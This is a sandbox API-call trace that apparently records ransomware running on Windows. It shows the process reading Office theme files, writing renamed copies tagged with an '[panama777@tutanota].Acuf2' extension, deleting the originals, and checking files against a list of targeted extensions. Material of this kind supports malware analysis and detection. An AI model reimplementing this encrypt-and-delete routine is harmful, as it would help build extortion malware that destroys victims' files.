	[0050.442] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.442] WriteFile (in: hFile=0x1e0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.442] SetEndOfFile (hFile=0x1e0) returned 1
	[0050.442] CloseHandle (hObject=0x1e0) returned 1
	[0050.442] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.442] SetEndOfFile (hFile=0x1fc) returned 1
	[0050.446] CloseHandle (hObject=0x1fc) returned 1
	[0050.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.447] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1
	[0050.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.447] lstrlenW (lpString=".doc") returned 4
	[0050.447] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.447] lstrlenW (lpString=".docx") returned 5
	[0050.447] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.447] lstrlenW (lpString=".pdf") returned 4
	[0050.447] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.447] lstrlenW (lpString=".xls") returned 4
	[0050.447] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.447] lstrlenW (lpString=".xlsx") returned 5
	[0050.447] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.447] lstrlenW (lpString=".ppt") returned 4
	[0050.447] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.447] lstrlenW (lpString=".zip") returned 4
	[0050.447] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.447] lstrlenW (lpString=".rar") returned 4
	[0050.447] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.447] lstrlenW (lpString=".bz2") returned 4
	[0050.447] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.448] lstrlenW (lpString=".7z") returned 3
	[0050.448] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.448] lstrlenW (lpString=".dbf") returned 4
	[0050.448] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.448] lstrlenW (lpString=".1cd") returned 4
	[0050.448] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.448] lstrlenW (lpString=".jpg") returned 4
	[0050.448] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.448] lstrlenW (lpString=".doc") returned 4
	[0050.448] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.448] lstrlenW (lpString=".docx") returned 5
	[0050.448] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.448] lstrlenW (lpString=".pdf") returned 4
	[0050.448] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.448] lstrlenW (lpString=".xls") returned 4
	[0050.448] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.448] lstrlenW (lpString=".xlsx") returned 5
	[0050.448] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.448] lstrlenW (lpString=".ppt") returned 4
	[0050.448] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.448] lstrlenW (lpString=".zip") returned 4
	[0050.448] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.448] lstrlenW (lpString=".rar") returned 4
	[0050.448] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.448] lstrlenW (lpString=".bz2") returned 4
	[0050.449] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.449] lstrlenW (lpString=".7z") returned 3
	[0050.449] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.449] lstrlenW (lpString=".dbf") returned 4
	[0050.449] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.449] lstrlenW (lpString=".1cd") returned 4
	[0050.449] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0050.449] lstrlenW (lpString=".jpg") returned 4
	[0050.449] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.449] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.449] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.450] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2044) returned 1
	[0050.450] CloseHandle (hObject=0x1fc) returned 1
	[0050.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20
	[0050.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.451] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.451] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0050.453] GetLastError () returned 0x0
	[0050.453] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x7fc, lpOverlapped=0x0) returned 1
	[0050.454] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x800, lpOverlapped=0x0) returned 1
	[0050.455] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.455] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.455] SetEndOfFile (hFile=0x200) returned 1
	[0050.455] CloseHandle (hObject=0x200) returned 1
	[0050.455] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.455] SetEndOfFile (hFile=0x1fc) returned 1
	[0050.456] CloseHandle (hObject=0x1fc) returned 1
	[0050.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.456] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1
	[0050.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.457] lstrlenW (lpString=".doc") returned 4
	[0050.457] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.457] lstrlenW (lpString=".docx") returned 5
	[0050.457] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.457] lstrlenW (lpString=".pdf") returned 4
	[0050.457] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.457] lstrlenW (lpString=".xls") returned 4
	[0050.457] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.457] lstrlenW (lpString=".xlsx") returned 5
	[0050.457] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.457] lstrlenW (lpString=".ppt") returned 4
	[0050.457] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.457] lstrlenW (lpString=".zip") returned 4
	[0050.457] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.457] lstrlenW (lpString=".rar") returned 4
	[0050.457] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.457] lstrlenW (lpString=".bz2") returned 4
	[0050.457] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.457] lstrlenW (lpString=".7z") returned 3
	[0050.457] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.457] lstrlenW (lpString=".dbf") returned 4
	[0050.457] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.457] lstrlenW (lpString=".1cd") returned 4
	[0050.458] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.458] lstrlenW (lpString=".jpg") returned 4
	[0050.458] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.458] lstrlenW (lpString=".doc") returned 4
	[0050.458] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.458] lstrlenW (lpString=".docx") returned 5
	[0050.458] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.458] lstrlenW (lpString=".pdf") returned 4
	[0050.458] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.458] lstrlenW (lpString=".xls") returned 4
	[0050.458] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.458] lstrlenW (lpString=".xlsx") returned 5
	[0050.458] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.458] lstrlenW (lpString=".ppt") returned 4
	[0050.458] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.458] lstrlenW (lpString=".zip") returned 4
	[0050.458] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.458] lstrlenW (lpString=".rar") returned 4
	[0050.458] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.458] lstrlenW (lpString=".bz2") returned 4
	[0050.458] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.458] lstrlenW (lpString=".7z") returned 3
	[0050.458] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.458] lstrlenW (lpString=".dbf") returned 4
	[0050.459] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.459] lstrlenW (lpString=".1cd") returned 4
	[0050.459] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0050.459] lstrlenW (lpString=".jpg") returned 4
	[0050.459] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.459] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.459] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.459] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=29925) returned 1
	[0050.459] CloseHandle (hObject=0x1fc) returned 1
	[0050.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20
	[0050.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.460] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.460] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0050.460] GetLastError () returned 0x0
	[0050.460] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x74e5, lpOverlapped=0x0) returned 1
	[0050.462] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x74f0, lpOverlapped=0x0) returned 1
	[0050.465] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.466] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.466] SetEndOfFile (hFile=0x200) returned 1
	[0050.466] CloseHandle (hObject=0x200) returned 1
	[0050.466] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.466] SetEndOfFile (hFile=0x1fc) returned 1
	[0050.467] CloseHandle (hObject=0x1fc) returned 1
	[0050.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.468] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1
	[0050.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.468] lstrlenW (lpString=".doc") returned 4
	[0050.468] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.468] lstrlenW (lpString=".docx") returned 5
	[0050.469] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.469] lstrlenW (lpString=".pdf") returned 4
	[0050.469] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.469] lstrlenW (lpString=".xls") returned 4
	[0050.469] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.469] lstrlenW (lpString=".xlsx") returned 5
	[0050.469] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.469] lstrlenW (lpString=".ppt") returned 4
	[0050.469] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.469] lstrlenW (lpString=".zip") returned 4
	[0050.469] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.469] lstrlenW (lpString=".rar") returned 4
	[0050.469] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.469] lstrlenW (lpString=".bz2") returned 4
	[0050.469] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.469] lstrlenW (lpString=".7z") returned 3
	[0050.469] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.469] lstrlenW (lpString=".dbf") returned 4
	[0050.469] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.469] lstrlenW (lpString=".1cd") returned 4
	[0050.469] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.469] lstrlenW (lpString=".jpg") returned 4
	[0050.469] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.470] lstrlenW (lpString=".doc") returned 4
	[0050.470] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.470] lstrlenW (lpString=".docx") returned 5
	[0050.470] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.470] lstrlenW (lpString=".pdf") returned 4
	[0050.470] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.470] lstrlenW (lpString=".xls") returned 4
	[0050.470] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.470] lstrlenW (lpString=".xlsx") returned 5
	[0050.470] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.470] lstrlenW (lpString=".ppt") returned 4
	[0050.470] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.470] lstrlenW (lpString=".zip") returned 4
	[0050.470] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.470] lstrlenW (lpString=".rar") returned 4
	[0050.470] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.470] lstrlenW (lpString=".bz2") returned 4
	[0050.470] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.470] lstrlenW (lpString=".7z") returned 3
	[0050.470] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.470] lstrlenW (lpString=".dbf") returned 4
	[0050.470] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.471] lstrlenW (lpString=".1cd") returned 4
	[0050.471] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0050.471] lstrlenW (lpString=".jpg") returned 4
	[0050.471] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.471] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.471] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.471] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1363) returned 1
	[0050.472] CloseHandle (hObject=0x1fc) returned 1
	[0050.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20
	[0050.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.472] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.472] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0050.474] GetLastError () returned 0x0
